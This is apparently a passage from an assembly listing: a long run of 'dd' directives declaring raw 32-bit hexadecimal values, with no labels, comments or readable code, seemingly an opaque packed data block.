		dd 0E022BFC6h, 600ECFFEh, 0D5E809D1h, 806E18B7h, 80E7A43Dh
		dd 0A2BE20A1h, 2F6CC008h, 1D838A23h, 0B725501Ch, 0C9342E1Dh
		dd 0A2EF71E4h, 740AA0CBh, 0EDDBB57Dh, 9F4F0E94h, 50110E68h
		dd 0BA960CEBh, 81C2DB61h, 0A3EE5006h, 0E11A58Ah, 6CB18164h
		dd 0F4FB2A0Dh, 22F1FF27h, 12595298h, 21A1A777h,	868C207h
		dd 4938A90h, 0A2894695h, 0CB934078h, 8B118201h,	0A1C7911Fh
		dd 59FB15Bh, 0C551B808h, 7406046Ah, 0F849A7E9h,	8DD7583Ah
		dd 0AAC284F5h, 730CF000h, 4F1AE83Ah, 75F8F4BAh,	84083149h
		dd 23B94468h, 8810E815h, 2D851952h, 70C2822h, 2432055Ah
		dd 33508232h, 974C52B9h, 0CBC46F82h, 68D44389h,	4681D30h
		dd 9194B950h, 0FAA27180h, 0E4F7A36Ah, 0C13B16F9h, 0B4960F76h
		dd 4F9F5CD1h, 0FA53A90Ch, 5A65EC08h, 3864A6CFh,	0FE6B69BBh
		dd 4FFC0B55h, 0F8596154h, 6A571984h, 4622EE24h,	85C72150h
		dd 818E6F4Ch, 1F208D7Ch, 0C5F0524h, 25541432h, 7484EC01h
		dd 5A755E73h, 0EAE8410Bh, 897E641Fh, 210DDE0Ch,	0FF7EFA31h
		dd 0E0834803h, 2D679F2Fh, 0CBAFBEA7h, 62807453h, 0C46B5D6Ah
		dd 0E6E5BABh, 0A71B25Ah, 2A084FE0h, 24F28052h, 0D0085C34h
		dd 745B828Eh, 455EBE3Bh, 480E6894h, 7FE9130Bh, 210C1121h
		dd 5046880Dh, 1974898Fh, 68144C79h, 0C738650Dh,	20EA2244h
		dd 61467535h, 2202D09Ah, 0DDB0D457h, 0F67F9C09h, 12FD69E1h
		dd 56DB646Dh, 0E80C041Ch, 354FFC76h, 993D91B1h,	0BF14A82Eh
		dd 0BD2FE932h, 8F663DDEh, 1ABE58B7h, 1584CC99h,	603AC9EFh
		dd 15B2013Dh, 0A5C7984Eh, 354DA365h, 40943531h,	30CE862Bh
		dd 38143D6Ah, 0D4E7512h, 2102505Ah, 84B32B00h, 82465525h
		dd 80FD810Fh, 7D0F1CCBh, 5FC50A06h, 3A483045h, 1055A12Ah
		dd 1FDCE143h, 8EDD608h,	0A9EB3420h, 9BD8AE3Eh, 0B23FE359h
		dd 71D75EFCh, 4C441004h, 7064F67Fh, 4C68F040h, 0D4C41F24h
		dd 4D8D007Eh, 95B95110h, 0C840079h, 0C4EEC82Bh,	51200CD2h
		dd 81456C38h, 42142D08h, 22B92132h, 7D18C811h, 570D53BBh
		dd 0A7491412h, 0C93485C1h, 46DA7228h, 6430887Eh, 0FA116F62h
		dd 1E47F280h, 0D7E10B42h, 68880AA6h, 5E9157A5h,	0F67B0998h
		dd 218619BEh, 6A61571Bh, 3E0B9220h, 5029468Dh, 25EB8BFCh
		dd 10215156h, 15886090h, 130E0314h, 33100775h, 0B1052910h
		dd 0AB097EA3h, 993A9B7Dh, 58409FBEh, 5274F88Bh,	0B95A5623h
		dd 7503826Eh, 44B9B913h, 5F8EE64Ch, 3F38A37Dh, 0E8B82910h
		dd 0BD05C745h, 4D223D84h, 8BE8A212h, 0DA3FABB6h, 5F0237BEh
		dd 40716887h, 0AD8C4B0Ch, 7D38080Fh, 857CFC70h,	10A5C862h
		dd 10915E18h, 321658E5h, 0D5295F10h, 2F34A8Ch, 7F90E809h
		dd 0DD216A3Eh, 2AA1C57Ch, 9A6D215Bh, 0A857B428h, 0A5A49FA1h
		dd 3F21F808h, 4ED4B34Bh, 1874CCF0h, 0C1E2E875h,	3B12F08Bh
		dd 0AFB889F7h, 3B66587Fh, 6F152845h, 62043E83h,	0C8153A06h
		dd 0A7032F5Dh, 68D4D88Bh, 760FACC2h, 0FBC49302h, 8B18FF30h
		dd 685572E8h, 30EFEB4Ah, 0C8680150h, 86C40448h,	28C3FC35h
		dd 4511D6FFh, 7E8333C9h
		dd 0C0441DB2h, 69669753h, 0E190DD90h, 0DEC3592Dh, 55088720h
		dd 0DD047B57h, 941A7Bh,	59ED8590h, 5637017Eh, 8D1F048Ah
		dd 233CCC34h, 6A06750Eh, 0EB304339h, 0D53FD317h, 1BCCC081h
		dd 693AF26Ah, 0E6027726h, 8FE604EBh, 391B4F22h,	47800688h
		dd 0CB7CFD3Bh, 0A8D25F5Eh, 0B603A198h, 986069FEh, 5582517Ch
		dd 7FF1A302h, 12121C7Bh, 0C574A3E4h, 0D195E82Bh, 576FE9E6h
		dd 0F96CF79Eh, 0CC88CA51h, 0CF84E17Fh, 642F9108h, 0B859B5C8h
		dd 428E5C08h, 0C5089D9Eh, 468B0501h, 3BBD060Ch,	0BA6B48C7h
		dd 3B80FE1Bh, 46B02E64h, 0B55D5468h, 0E72C7D88h, 104508FDh
		dd 17F22A0Ch, 204C5468h, 0DD918552h, 6483AC5Ah,	8B40D43Ch
		dd 0CF3B144Eh, 0EF4116CCh, 187E3239h, 1C193812h, 8C2C2F02h
		dd 24618420h, 22398017h, 621B1291h, 847AA294h, 0B4D42037h
		dd 0F913C5AAh, 862C99A8h, 0C1451816h, 9123896Ah, 48517522h
		dd 0FEC52688h, 89C6571Fh, 9011C1BDh, 0DA2BD058h, 85C71807h
		dd 1855DB3Fh, 0C2B2E873h, 0C8B60F25h, 513BD6F0h, 0E9C1148Bh
		dd 0C9547C97h, 0F98B1009h, 55F218E8h, 58682C48h, 0D1EE3A58h
		dd 2320363Dh, 0A41C7F0Ch, 1414C979h, 0F7B010F5h, 2819983h
		dd 778E930h, 8C40F2A4h,	0E8110C40h, 74817E5Eh, 4C34684Dh
		dd 7C47A513h, 2C683A08h, 266238E5h, 12F9C212h, 103F4113h
		dd 6EAE892Bh, 0E7A01212h, 610C7240h, 0D3E8C950h, 0A1CE24FAh
		dd 0C43D0248h, 41AC2074h, 80287B4h, 8AB1454Ch, 0E95AEE58h
		dd 0F0680091h, 0E03ADF32h, 97221AD2h, 79F7E935h, 0DC68C202h
		dd 21DE4C50h, 4D447DC0h, 0CF44C95Fh, 1891F6CFh,	0A2B22410h
		dd 1A211C44h, 3E433E79h, 840CD237h, 8CBAFD11h, 0E98BECCDh
		dd 0F639B13Dh, 0C3CE807Eh, 1047BF85h, 0CCC478D9h, 0FDBE68CBh
		dd 0B3F8680Bh, 1EC77008h, 9A03D33Dh, 75EDD7F5h,	22FEB484h
		dd 0F63338B0h, 46BFF69Ch, 6949B488h, 101EB8F5h,	0E9E317F5h
		dd 0C206AE4h, 1821C442h, 35384464h, 29697843h, 0E90BB065h
		dd 7D635A86h, 8894B1D4h, 0DE37C5Dh, 24027E57h, 8885F84Dh
		dd 68090172h, 3D8339CCh, 72BF2042h, 272580D6h, 55DFDF57h
		dd 0FA943429h, 0AF564625h, 38801182h, 24E3573Ah, 0C4BCBC39h
		dd 0B8538428h, 7BFE123Fh, 0D13BC229h, 56216A5Bh, 0C0972EABh
		dd 837798BCh, 0E6CD1979h, 12251570h, 0AC680D01h, 82E86D85h
		dd 3224BEFAh, 0CD557AE3h, 6CC1326Eh, 0C4B3966h,	80D80AACh
		dd 6A0F429h, 46829708h,	18115698h, 3194B412h, 520E74CAh
		dd 0E921A050h, 3404FB98h, 0EFCDAA1Fh, 496C76E9h, 7691708Bh
		dd 56A85C9Ch, 0A75138Eh, 9BFC8350h, 0DCEBBD05h,	1D329868h
		dd 633F1439h, 0F4C84E8Bh, 943BA135h, 21E85610h,	0A398775Ch
		dd 0BE2B3820h, 58A54E5Fh, 0ABF56A5h, 0ADE536Ah,	0EF7DBB9Ch
		dd 3A97AED9h, 5A895BD9h, 397703F3h, 424566Dh, 1246B776h
		dd 2DDDE931h, 764C8C68h, 0B7A47C3h, 0A2463927h,	0A03C18Bh
		dd 7AAB627Eh, 5B2615C5h, 4098824Ah, 4027E984h, 885368FFh
		dd 78E3153Ah, 11D18E22h, 8A77D24h, 86321047h, 508A217Eh
		dd 611E2F01h, 701CD2D9h, 3DFA8010h, 4A467526h, 3AC10213h
		dd 6D07057Eh, 999CBD53h, 0D86D0953h, 1AAC0C47h,	0ED0845C6h
		dd 58CC6E14h, 8D22A012h, 62FF744h, 0CB75B87Fh, 862EBE2h
		dd 0C648023h, 10DC7F48h, 0FF8D0EF3h, 8A15B6BCh,	0BF51E177h
		dd 5191A4E6h, 233DB1A8h, 892DF24Eh, 0CB9579FAh,	3244A124h
		dd 4975740Ch, 0D5086F7Bh, 0FD444275h, 8402D110h, 57440C79h
		dd 5BBE47DEh, 9291D2F5h, 7E507FB1h, 6586A70Ah, 0F05E520Ch
		dd 1BD69A43h, 54988585h, 9D794880h, 2F5983A3h, 3FF12AAh
		dd 3D28A8A1h, 7D43EC93h, 0D1BE2D91h, 36AC424h, 0D85F4ECBh
		dd 9C40EFF1h, 922D7401h, 966BF55h, 0AC4BE9EEh, 387C2049h
		dd 85793059h, 0A0023308h, 45753B2Dh, 9740E9D0h,	0EC4FCD5Ah
		dd 0BC6166A1h, 3E39AA89h, 743FB8F0h, 27B15B57h,	4FE10FF9h
		dd 1E7732BCh, 7690E830h, 0F8F75475h, 7C188009h,	1EC6FF01h
		dd 42EC683h, 38F03947h,	0D71A75E0h, 0D7E529EBh,	0EFEBB8E2h
		dd 3A7FEB7Fh, 0E1C1CF17h, 31146804h, 0FF645A87h, 0C1035509h
		dd 1620110Ch, 20EB2A01h, 0E7C132C5h, 8DE1342Ah,	0C53513Dh
		dd 1A515537h, 54870A94h, 0FC750FC6h, 84E408CEh,	7EBB6778h
		dd 29AA4D31h, 0FCC81069h, 2C52A45Ah, 0D00E7448h, 0E1432E4h
		dd 7DAA8338h, 73F089E8h, 0F8C64A68h, 0FF85603h,	89A5822Ah
		dd 384C8A09h, 0D6DF2FFh, 28EB4803h, 98FDF1C8h, 0FE0F2914h
		dd 9D22EE2Dh, 701DB4C9h, 0B2A1C97Dh, 62830814h,	0D84F2E8h
		dd 40D45C8Fh, 0FBC47384h, 0C374AD92h, 50C7B62Eh, 3D75D2F4h
		dd 0FA7329F8h, 90409A07h, 0F04D283Fh, 0CA60CBCFh, 384D0477h
		dd 145385FBh, 0A670A11h, 790959F4h, 823DF1D4h, 68E8FC38h
		dd 4FD59173h, 0C83872E6h, 6E378940h, 3D0C20B7h,	98C77A03h
		dd 98226760h, 0FF08230Fh, 63DDF4F2h, 17C67664h,	32AA7210h
		dd 53EB579Ah, 4A7794C1h, 0ECFE40F0h, 7AEB5305h,	0CE09C683h
		dd 7A1EA93Eh, 786824AAh, 0C43345C1h, 7424316Ch,	761AA654h
		dd 0DED74909h, 3746C641h, 0A772EF2Dh, 77D0048Ah, 0CD3B8B5Ch
		dd 111DE136h, 9925FFEDh, 0D31C4C3Ah, 200B8B11h,	0E1830881h
		dd 0C7751289h, 9960D5EAh, 6CC0F1F7h, 0E847FA8Bh, 39B2A414h
		dd 7C92C73Bh, 0C0522223h, 682BF7DCh, 49BBF625h,	8A2490FBh
		dd 22AA4812h, 45751C64h, 118408E7h, 0AD72FD88h,	5E6BB1FCh
		dd 0BC458964h, 0FAAACB55h, 5D8922EEh, 0B6DC3D8Ch, 876718D6h
		dd 0B2D2C0D7h, 4BE4DE76h, 394C907Fh, 0A3BC0B5Dh, 0B4729D4Ch
		dd 1CA67C45h, 60739E5Ah, 8EF89BFh, 84442EDDh, 13C9EC50h
		dd 6541BF88h, 0B5133771h, 0C8AB0972h, 6B55867Fh, 4ACC7C70h
		dd 61BD4B66h, 0AC12D42h, 0A21C165Bh, 0F2F669B9h, 3719DDE6h
		dd 3055AC48h, 5BC723ACh, 64224D88h, 5443023h, 7C0CA2F0h
		dd 4A30D9Ah, 6A16891Bh,	623050Dh, 88A402D7h, 7578CCAEh
		dd 0DC06BBF1h, 0FAB52940h, 84682C05h, 0E8BC9830h, 4744746h
		dd 181D394Bh, 4A1440E9h, 0B04A07BEh, 0E81437D2h, 3649128Dh
		dd 2EC514BCh, 6934D543h, 151288F6h, 4B3AA7C3h, 4361B035h
		dd 0D650596Ah, 0EBD37585h, 9D345581h, 20E83841h, 74593596h
		dd 111FFC3Ch, 874C7CB5h, 4E5813h, 0C803BC6Ah, 21243980h
		dd 0A406B975h, 0C52BFB05h, 855F3Dh, 118A0982h, 11AB9488h
		dd 614131Ah, 8820144h, 12DF3D40h, 67CC7C7Dh, 7BA5C38Ch
		dd 91910D70h, 0C9785E25h, 774D325Dh, 0F997F3EEh, 0B6F513ABh
		dd 2ED1555Eh, 3208E6E4h, 19923F80h, 5E085756h, 0F01BA8B6h
		dd 3E38A116h, 900B977Bh, 5F5EE975h, 406A4AC4h, 0BF1201BCh
		dd 0F3B54450h, 0FD10EAABh, 0D5115585h, 0EB104581h, 723294C7h
		dd 27BBDDEDh, 7063E8A0h, 7F161295h, 7732EA3h, 0CC846858h
		dd 98018053h, 16139876h, 0C13B425Fh, 14948399h,	311C82C1h
		dd 508ADC64h, 2EC0449Bh, 240402E3h, 47933C6Bh, 0A35AC3Bh
		dd 1D777318h, 0EB821A21h, 82180804h, 0B6627336h, 88044632h
		dd 1C02D145h, 6918F30h,	0D81C13A2h, 62E92A5Eh, 5F1D3692h
		dd 5B96428Dh, 0FBD2E3ECh, 0C7080C23h, 0B9100CA5h, 0C10700EEh
		dd 8A5E02E8h, 0F3F4A680h, 0E1E40FE1h, 0C68B1D03h, 39044BC0h
		dd 71741E03h, 3E1C3C16h, 0A801CBD4h, 8B8AD90Bh,	100C2351h
		dd 183E9BE7h, 48400F4Ah
		dd 3B644602h, 62C4C4Bh,	0E183038Fh, 89BA403Fh, 48D5109Bh
		dd 3031302Ch, 0CE94E9C1h, 3E24C89h, 26270424h, 8372918Fh
		dd 96360152h, 0FC276D1Dh, 30F5699Dh, 4FE2E851h,	804FAD6Eh
		dd 148A197Eh, 0FAE7A031h, 0A5B89180h, 0EFF33370h, 0FA51C4BCh
		dd 0E77C5981h, 3E08896Fh, 27F990D2h, 0FAB22F83h, 28FD191h
		dd 0A765CD6Bh, 2DA2F918h, 30B0F559h, 0BD9E5468h, 0FA03B3A4h
		dd 89055132h, 5AF1800Eh, 26D2088Ah, 47C88C1h, 0BAF6754Ah
		dd 0E86CB0CAh, 0E3B8AA2h, 20014B85h, 37261F9h, 0A120E9D4h
		dd 0C1DD7FE0h, 0AE0F0A94h, 16BE3641h, 0EBF8C027h, 45F7DC5Bh
		dd 0BF56581Ah, 17566158h, 53308878h, 0F4C1238Ch, 0E893562h
		dd 59F48E0Ch, 0AA34AC01h, 10CC002h, 0B5F6E2D4h,	0CEDF6AE2h
		dd 0A80C4EABh, 70F241DBh, 524D7EADh, 0BC10246Dh, 93F4CE39h
		dd 0FF550E88h, 26C65C0h, 26C2083Eh, 40060C8Dh, 45E99B6h
		dd 0F7CD0180h, 44481FEh, 5B24873Ah, 9967348Dh, 18AFBD0h
		dd 881CCE2Ah, 0C316D4BDh, 0D2F6F803h, 6A96D032h, 6CC2FE24h
		dd 11880C86h, 297C7BA1h, 69675B5Fh, 0CFC8F050h,	1956137Dh
		dd 0B75CF22h, 0C70007CFh, 198A5F99h, 0CB8CF761h, 88D55D32h
		dd 0BB04DBE7h, 0C3AA3CF6h, 0CA13459Bh, 332F37Dh, 86FFEAD6h
		dd 6E31F8A1h, 33AB2802h, 0D6330C7Ch, 7CA91201h,	5FC70DBEh
		dd 6AF80DD6h, 0BA92F7F2h, 4A514056h, 3A6DB216h,	0D6AF56F4h
		dd 0AD7F4B21h, 812E1494h, 7B6CF65Ah, 9E3963A3h,	858D41DFh
		dd 301B7EDBh, 0EF903741h, 39D3025Ch, 1488B032h,	0C26F9CE8h
		dd 47C70330h, 7C942075h, 0DA7B8DE5h, 0FA62928Ch, 79442334h
		dd 0C048DC59h, 89E2EB4Fh, 15B0FC46h, 98044328h,	0A98753BFh
		dd 0C08305E8h, 0EB1D84FCh, 0E088CF8Dh, 6D8A6F58h, 9021C70Ch
		dd 0CDFD02Dh, 0DF2B1E7Eh, 0F4B85398h, 0D88B31C5h, 0FA37E40Ah
		dd 62A590Ch, 0E812D088h, 8BE27C86h, 76788D2Ah, 21291B52h
		dd 0F0355B11h, 2DA84CE0h, 8383E0D0h, 0C4741060h, 0C7701470h
		dd 4523010Bh, 3BFF467h,	0EFCDAB89h, 0FE080E02h,	98BADCh
		dd 3254760Ch, 0DCB21058h, 0D92D5DDEh, 49469269h, 0E683D885h
		dd 73C04E89h, 14FAFF03h, 4FCB8B2Ch, 0BE011D0Fh,	9324C52Ch
		dd 0B3FE00Bh, 8DCB0361h, 5F18A84Ch, 3BF8172Bh, 90A117DFh
		dd 52EB5182h, 0E8075750h, 0C96BBA2Dh, 0D65718A5h, 0E81C0144h
		dd 8324B8AFh, 0E0FBAAA5h, 0EA8B29E0h, 6EF36C1h,	10953C75h
		dd 996B908Fh, 0FB52B5B3h, 0AD03ADC9h, 76557740h, 754F0FEBh
		dd 0C6C553DCh, 6D1A4518h, 0B5F4AC6Bh, 6A5B31AEh, 7E9B483Fh
		dd 598951E7h, 0F976D623h, 5875414h, 428002C6h, 0AC802E85h
		dd 70515324h, 0E852146Ah, 5E878250h, 9618D818h,	0DE386AB3h
		dd 3C2AFD28h, 5B200E49h, 0C1C50FEBh, 2A264AF8h,	64D64B5Bh
		dd 2750460Bh, 0B70A2640h, 35456151h, 234F0612h,	0CE89D28h
		dd 0CF4045Eh, 2F42EFFBh, 75F1CA2Ch, 1740F142h, 0D29D3D76h
		dd 6AC8B523h, 0CE2E8356h, 104F3FFh, 4DB0F22Bh, 0EA939850h
		dd 8EA3CC1h, 0EB071028h, 8C011E90h, 9F021018h, 0F0731763h
		dd 6148D0Ch, 25106C3Bh,	0F85CD572h, 4BEE44C5h, 0B61940E4h
		dd 898242BCh, 0AD131375h, 7899945Dh, 0C9F50B4h,	0F7BD3F58h
		dd 3FD6E6F4h, 0D33AF223h, 890BD71Dh, 0D260F103h, 0E0F948Dh
		dd 0D96AA478h, 9220CA35h, 3CE2E619h, 31F0B07h, 23D181CFh
		dd 0D1D2F7F1h, 0E8D6F1D3h, 55FE0C70h, 0B48DC000h, 0C7B75616h
		dd 50FFFBE8h, 63E6B2FCh, 0D1032E0Ch, 9367F2E3h,	0F947FA6Ah
		dd 758C3FEFh, 23344C4h,	242070DBh, 0EE2DA8Bh, 480F9486h
		dd 180B113Ch, 23AAFA03h, 0F14DCBDFh, 0F3FBC763h, 5004FE35h
		dd 339C5F00h, 7DBDCEEEh, 469DFFC1h, 0AEB8C16h, 88C3032Eh
		dd 0ADFE23DEh, 8FDA910Fh, 0CC5D80DFh, 3198C8Dh,	0F57C0FAFh
		dd 8C40F98Bh, 0C183E18Dh, 0CEF1FE03h, 230C8087h, 0D7F7334Dh
		dd 22DF91AEh, 2B4D054h,	87C62A3Ah, 14B29147h, 3C2D0C02h
		dd 0D968B306h, 51D90E40h, 460BD6B8h, 0B88056D0h, 0BC038DD4h
		dd 30461317h, 20F8EFA8h, 0E2E74194h, 14B2B8A8h,	6C654ADAh
		dd 98AD19FBh, 3EB940D8h, 462A9501h, 0E750B7FDh,	3682EE91h
		dd 5D0844B7h, 88DC0C40h, 802298D8h, 97EE5069h, 0B73E82E3h
		dd 217DE042h, 14108B44h, 46A80C21h, 1C488CD4h, 0DEDF084Dh
		dd 28A1CBD4h, 0A13B5E4h, 8EE05BB1h, 4F7A2DAh, 0FA19E28Ch
		dd 60561DFh, 0CE49479Ah, 74CA2F69h, 0BA4A3499h,	5087F4C9h
		dd 9A5CD7BEh, 91E194DDh, 0DD83EA20h, 0D7484C68h, 0D314B34Ah
		dd 8CEC24D4h, 8A112289h, 19448CEBh, 283D0708h, 8924D6F1h
		dd 75102255h, 0FC09486Fh, 0F0AA9D2Fh, 719382F9h, 1411FD98h
		dd 9A080C02h, 4C7C2C37h, 0DBB79208h, 0E19C570Ah, 0C9BB0748h
		dd 0F4EA2713h, 438E3700h, 0F8A65179h, 2735DE05h, 7FF2D109h
		dd 37B8FA88h, 59435D56h, 0F807F62Ch, 0DDC05DA4h, 0EA21398Ch
		dd 0E94955B4h, 0FE92F52h, 0EB40A814h, 0E2CF5123h, 6F4D2848h
		dd 62413EC0h, 21F61E25h, 1BE50286h, 0DF05C087h,	0C2621913h
		dd 0D840A0DFh, 83A0FADEh, 27506FEAh, 0D4112232h, 92B34023h
		dd 40C644C0h, 0D820917h, 0C40D2CAEh, 8210C655h,	82E888EDh
		dd 265E5A51h, 0E021211h, 0EE21BB28h, 934BFC1Ah,	9AEC7AA3h
		dd 0BC752AC8h, 0C7AA0FC2h, 0F1EAE9B6h, 23E290F2h, 47D319EFh
		dd 48FAC9F3h, 0D0810CE7h, 4379A97h, 0C8D62F8Eh,	5811BA2h
		dd 0EDCF1405h, 47585C49h, 4E02E341h, 0A0CA64F2h, 0D318CA8h
		dd 2441453h, 80D4496h, 553CE197h, 0CAEAA9E2h, 28FE5233h
		dd 6EA5CF9Bh, 81E1DEF8h, 2AD8A1E6h, 97E9540Ah, 0A178E710h
		dd 0B652CE61h, 49A6645Dh, 0CC892FFEh, 0A2C8A7A7h, 7263E7D3h
		dd 0EA934640h, 5A9C783h, 0E04AF99Bh, 304ADDD1h,	6AE05542h
		dd 135B4063h, 0E1CD16E6h, 46931A21h, 1AE39604h,	0FBEC8834h
		dd 0C3DF8C33h, 5DDD49F9h, 5B49F50h, 3707D61Eh, 17B822C3h
		dd 75440904h, 0EA6D508h, 0B6F45D57h, 584DC6D0h,	1087B640h
		dd 88F4D50Dh, 0CA0E1012h, 0A524B5F7h, 0DA92CF9Ch, 4089E22h
		dd 14ED41DCh, 0E312455Ah, 1EE99184h, 0DECD503Dh, 4B368968h
		dd 98892A49h, 541F044h,	8A9E3E9h, 48DC831Bh, 89080AD6h
		dd 22CE92FFh, 0C465D9Bh, 0CBB2084Dh, 802792C4h,	0A3F80F0Fh
		dd 20FC42EFh, 21094117h, 6A8D32B3h, 5516D148h, 0D9166140h
		dd 91676F02h, 14B0E8C3h, 884DB8D1h, 0FB24F139h,	908449Bh
		dd 8AC021ECh, 69DA2A4Ch, 0BE23E682h, 33F28878h,	0FE58FA72h
		dd 3B9C81EEh, 0FFED3942h, 1C28ED29h, 0B80458B9h, 0DE33FEC3h
		dd 401B9494h, 0F68119D2h, 0EB888771h, 0BF7A115h, 55C8D244h
		dd 92CE7233h, 0C8E854A5h, 9D611022h, 3910886Dh,	0CB5742C5h
		dd 33FCC781h, 2126A0D1h, 0C0E58A8h, 25E5382Ch, 474CE1Ah
		dd 141EEEB7h, 0EF581D03h, 443E0193h, 8A4BEEAh, 7304811Ch
		dd 19B414Eh, 0CAF133B6h, 74CC6D69h, 0CF10A90Dh,	15884BDEh
		dd 0F2200B11h, 0C1C3198h, 9AA8D933h, 9CF15D50h,	4B501F05h
		dd 0B022F6BBh, 40700E10h, 7D4831AEh, 201E9038h,	701905E4h
		dd 10BEBFBCh, 0EB2075A6h, 0CF9B3999h, 0F0362076h, 7EC61A04h
		dd 0AC9289Bh, 0D5E3E90Dh, 55D1E30Ah, 4D0BC44h, 68A127FAh
		dd 44E9D0EAh, 600A12E6h, 562680DAh, 0C81393A3h,	3085DB41h
		dd 1008D4EFh, 3059C83h,	757408FBh, 0FD43D32h, 881D05A1h
		dd 68E94E04h, 0F1197432h
		dd 3200E036h, 0D44CD039h, 74D62809h, 9CE2E641h,	0E5EC44E8h
		dd 0E6DB9911h, 0F89062E4h, 7C87E5AEh, 4A7248A2h, 0DF9585F2h
		dd 21C41C09h, 0AC566595h, 0DEE326DEh, 0BCA8E941h, 820BB85Ah
		dd 507692EBh, 440A0471h, 88F42922h, 6811A97h, 0CB26F763h
		dd 0EC643C46h, 972ED8D3h, 432AFF10h, 0A42609Eh,	0AEE51093h
		dd 0A781A959h, 8AB9423h, 360F8111h, 41724C27h, 262B21EFh
		dd 0A0390429h, 0EB46FC93h, 154C3C0Bh, 4A539329h, 20968E10h
		dd 19CE88DEh, 5B5912C3h, 0E3794665h, 79A9F706h,	0BA3DACDEh
		dd 4924D913h, 91A98A0h,	8F0CCC92h, 0AE37C23h, 6F7CF756h
		dd 0F0DA0A40h, 1E8BB529h, 470ADF7Dh, 811440Ah, 0D9DC200Fh
		dd 48DE3CF1h, 0C92C0F0h, 8422D176h, 0F7EADA85h,	3CD0A14Ch
		dd 82DC8878h, 6FA87E4Fh, 0E390F028h, 0A1ECF16Dh, 0F811783Ch
		dd 2CE6E004h, 20F051FEh, 917887E3h, 431404D4h, 223EA301h
		dd 11A108F0h, 447C4E08h, 7E3F82CCh, 0D0E4C353h,	0F2351A1Dh
		dd 0A4BD3A25h, 0A08168Eh, 0D944862Ah, 2501B1D3h, 0BB16CE83h
		dd 222AD7E1h, 45112086h, 0D37E420Fh, 6CB28646h,	3F86E049h
		dd 0EB860791h, 0F1C4308Bh, 0F86456EDh, 89191EEFh, 0F17E481Ch
		dd 0E7CAD5A6h, 288B0E3Dh, 4EB0808h, 5BCB6781h, 0C92712BBh
		dd 123EE5B1h, 0F0042408h, 8D00FEA8h, 2B5E0242h,	5BB60FF2h
		dd 8A828078h, 10E60170h, 8B20D59Eh, 27CA35B2h, 898909FAh
		dd 0FDE2E211h, 6C7831EBh, 0F4D6722Fh, 47DAC903h, 12C2D1B5h
		dd 4B55A8F0h, 0AAD3AF5h, 1124F641h, 12D7358Bh, 0A47C680Dh
		dd 279D040Ch, 80C5D62Ch, 87840C2Ch, 0EAE48890h,	1C2286B3h
		dd 53C453BCh, 56582AEh,	0FA034687h, 9D80100Ah, 888410E1h
		dd 228844C2h, 0C728B9C6h, 64C5210Bh, 27E828C4h,	84CA610Ah
		dd 6469843h, 462F4631h,	1C53472Dh, 19B2D3CBh, 0C941A71Dh
		dd 0D1959CEh, 0E7CA5753h, 0A315192Ch, 0F3C0D33Ch, 554C60C8h
		dd 11C181C9h, 8F880F95h, 291C95C2h, 0D144888h, 601DCA50h
		dd 462734C8h, 0AFE84E23h, 7C4EBE1Dh, 0D3701560h, 0E62B69E0h
		dd 0F57F9008h, 8E96C63Bh, 5D12457Ah, 97F5E8C3h,	244B58D5h
		dd 88F0266Fh, 2D5FE845h, 3032F8F1h, 1C2D11D0h, 8E18680h
		dd 154784B8h, 0E07E7F41h, 7E95C383h, 0E42FE532h, 0FB058377h
		dd 57177603h, 2A023EC8h, 0E89689E8h, 0ECE9B706h, 754FCCEBh
		dd 4A5FF030h, 60E80B76h, 6882B9Fh, 750B4B46h, 7F5B5EF5h
		dd 6A7DB93Ah, 977EF04Ch, 0A53D927Ch, 0F4F74A03h, 59234722h
		dd 64CEE27Ch, 0AA81C76h, 0EF421293h, 0A90919CCh, 8AB95944h
		dd 8CED6BFDh, 53B7895Fh, 0BA34C5E3h, 0E3A33312h, 2A1F4D8Dh
		dd 1190E322h, 441DA5DEh, 270BFDE3h, 0AAD3480Dh,	0D4F74AE2h
		dd 80C589E2h, 80198ADCh, 1777FFBh, 84F63329h, 432374DBh
		dd 4C5EC6CFh, 508A1EF4h, 9323482h, 18846C3h, 107F2B50h
		dd 63061C25h, 754417E7h, 3877C4DFh, 0DA877639h,	0E2A97175h
		dd 0A89BF57h, 0D59E8955h, 0CAA48CCh, 0B4E85E60h, 80FD874Ah
		dd 6A717481h, 6819480Ch, 4852442Fh, 9F612EB5h, 5753F16Eh
		dd 643F8831h, 2F404A0Ch, 0F3311864h, 0D8603E60h, 1068B29h
		dd 8D2A40FFh, 0E6504246h, 70F8A344h, 45EAB4F9h,	51D881C1h
		dd 2D98B72Fh, 64D85CA2h, 0E33CAB5Fh, 904FB75h, 2774BBE6h
		dd 0FD91774Bh, 0A0D3A643h, 20225808h, 25BF5057h, 6A202574h
		dd 0C929DE5Bh, 2D42DC2Dh, 2AC5CD69h, 0BC22FAE7h, 68286A05h
		dd 7CAC5254h, 0FB8681C4h, 0FA978D37h, 7F345F9Bh, 82644385h
		dd 917D7461h, 0CD402534h, 805D40C4h, 1908BD31h,	0F22B5905h
		dd 4F751B98h, 3C5CBC1Eh, 0C933128Ch, 0F0E0456h,	0E349C19Eh
		dd 8B41FEE1h, 0CDEBC38Bh, 50481B26h, 8C021B11h,	3ECFD7Ah
		dd 1AE2EB29h, 24750204h, 0FC310322h, 0C8EB0400h, 75F25EA4h
		dd 61A0A50h, 0F4B5EB88h, 9A14B5C0h, 27120422h, 0BAD35D63h
		dd 5C036A89h, 287F4ADFh, 46862F57h, 0B83B48F9h,	850750C6h
		dd 91EDFC26h, 1CC2B68Eh, 25B9EE2Dh, 11FF2B87h, 0A47A20B8h
		dd 59D27939h, 0AC1653EBh, 24BC5302h, 79A7AF8Fh,	3B5C46E9h
		dd 9CA3BB5Eh, 4AEFFC10h, 98C644FFh, 2141E5Ch, 28688211h
		dd 6FD84453h, 0F465276Dh, 19271601h, 41902D5Dh,	0A16FE879h
		dd 57157E2Dh, 0F2041286h, 84433522h, 0E04053Dh,	642048F4h
		dd 0E6A4630h, 0F5D42226h, 1D221043h, 86B799Dh, 6A02F6D8h
		dd 66FC6811h, 2907533Eh, 0ECFA4479h, 5BF413A8h,	0E33B1089h
		dd 0DC6815FFh, 32E12213h, 5717D0BFh, 8CDCA243h,	9899F800h
		dd 56C83FBFh, 0F1447EB8h, 0B52CA9CCh, 404ED016h, 0C8931ECh
		dd 43E21D5h, 338C8085h,	2252BEBh, 889C1085h, 21039819h
		dd 25C80975h, 130746B0h, 0FF89BC44h, 20DAAAC2h,	2C6342EAh
		dd 0A4C34884h, 0A1220D90h, 74875991h, 260A6A13h, 0C666FF5Ah
		dd 0DF47CDAAh, 0E263969Fh, 0C2378464h, 0A230532Ch, 1B238E83h
